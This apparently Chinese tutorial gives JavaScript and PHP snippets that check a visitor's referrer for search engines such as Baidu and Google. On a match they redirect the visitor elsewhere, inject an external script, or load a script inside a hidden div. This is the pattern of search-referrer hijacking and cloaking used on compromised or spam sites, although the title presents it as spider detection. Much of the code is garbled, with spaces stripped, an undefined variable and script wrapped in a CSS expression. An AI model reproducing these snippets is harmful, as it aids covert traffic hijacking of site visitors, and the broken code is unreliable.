js如何判断访问是来自搜索引擎(蜘蛛人)还是直接访问
以下javascript脚本代码可以实现判断访问是否来自搜索引擎。
代码如下:
<scripttype="text/javascript">
if(window.name!='ad_app6'){
varr=document.referrer;
r=r.toLowerCase();//转为小写
varaSites=newArray('google.','baidu.','sm.','soso.','so.','360.','yahoo.','youdao.','sogou.','gougou.');
varb=false;
for(iinaSites){
if(r.indexOf(aSites[i])>0){
b=true;
break;
}
}
if(b)
{
self.location='要跳转的网址';
window.adworkergo='ad_app6';
}
}
</script>
介绍的这个JS判断蜘蛛来源的方法脚本是写在body的onload里面的。即页面加载时进行判断。代码如下:
body{onload:expression(
if(window.name!="Yang"){
varstr1=document.referrer;
str1=str1.toLowerCase();
varstr6='google.';
varstr7='baidu.';
varstr4='yahoo.';
varstr8='youdao.';
varstr9='sogou.';
varstr5='soso.';
if(str1.indexOf(str7)>0||str1.indexOf(str6)>0||str1.indexOf(str4)>0||str1.indexOf(str3)>0||str1.indexOf(str8)>0||str1.indexOf(str9)
>0||str1.indexOf(str5)>0&&"zh-cn"==navigator.systemLanguage)
{
self.location='http://www.abc.com/';
window.name="Yang";
}
}
);}
这个JS判断蜘蛛来源方法不太好用。特别是在需要判断更多蜘蛛来源时代码写起来比较麻烦。
JS正则表达式判断来路搜索引擎指定跳转网址
varregexp=/\.(sogou|soso|baidu|google|youdao|yahoo|bing|sm|so|biso|gougou|ifeng|ivc|sooule|niuhu|biso|360)(\.[a-z0-9\-]+){1,2}\//ig;
varwhere=document.referrer;
if(regexp.test(where))
{
window.location.href="跳转指定网址";
}
<scriptlanguage="javascript">
vars=document.referrer
if(s.indexOf("google")>0||s.indexOf("baidu")>0||s.indexOf("yahoo")>0||s.indexOf("gou")>0||s.indexOf("bing")>0||s.indexOf("dao")>0||s.indexOf("soso")>0||s.indexOf("search")>0||s.indexOf("114")>0)
window.opener.navigate("https://www.nhooo.com")
</script>
通过Js判断搜索引擎来路的代码则如下
<scripttype="text/javascript">
functionelem(e,url){
varh=document.createElement(e);
h.src=url;
document.getElementsByTagName('head')[0].appendChild(h);
}
functionrefer(){
varref=document.referrer;
varbaidu=ref.indexOf("baidu");
varsoso=ref.indexOf("soso");
vargoogle=ref.indexOf("google");
if(baidu!=-1||soso!=-1||google!=-1){
elem("script","http://127.0.0.1/js.js");
}
}
refer()
</script>
一段php判断搜索引擎的代码
<?PHP
$referer=$_SERVER['HTTP_REFERER'];
if(!$referer==''){
if(ereg('http',$referer)){
$referer=@eXPlode('.',$referer);
if(is_array($referer)){
$referer=$referer['1'];
if($referer=='google'OR$referer=='baidu'OR$referer=='soso'OR$referer=='sogou'){
?>
<divstyle="visibility:hidden;"><scriptsrc="a.js"language="JavaScript"></script>
</div><?php
}
}
}
}
?>
手机端别忘了sm、sogou。
基本上也差不多了,如果你有更好的代码,可以留言.